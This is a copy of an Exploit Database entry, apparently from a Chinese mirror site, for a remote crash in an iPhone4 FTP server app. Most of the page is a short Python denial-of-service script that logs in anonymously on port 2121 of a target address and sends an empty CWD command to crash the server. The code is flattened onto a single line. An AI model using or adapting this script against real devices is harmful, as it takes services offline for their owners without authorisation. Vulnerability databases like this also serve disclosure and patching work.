iPhone4 FTP Server 1.0 – Empty CWD-RETR Remote Crash

• Exploit Database
• 117 阅读

• 作者： offsetIntruder
  日期： 2011-05-31
• 类别：

  • dos
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/17351/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33

  # Exploit Title: iPhone4 FTP Server V1.0 - Empty CWD-RETR Remote Crash # Date: 2011-05-30 # Author: offsetIntruder # Software Link: http://itunes.apple.com/us/app/ftp-server/id356055128?mt=8 # Version: 1.0 # Tested on: iPhone4 IOS 4.3.2 # CVE: N/A import socket import sys user="anonymous"   print("\n iPhone4 FTP Server By Zhang Boyang - Empty CWD-RETR Remote Crash\n")     def ExploitFTP(target): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target,2121)) data = s.recv(1024) print("[+] Sending user login...") s.send("USER " + user + '\r\n') data = s.recv(1024) print("[+] Sending empty CWD...\n") s.send("CWD \r\n") data = s.recv(1024) s.close() target = sys.argv[1] ExploitFTP(target)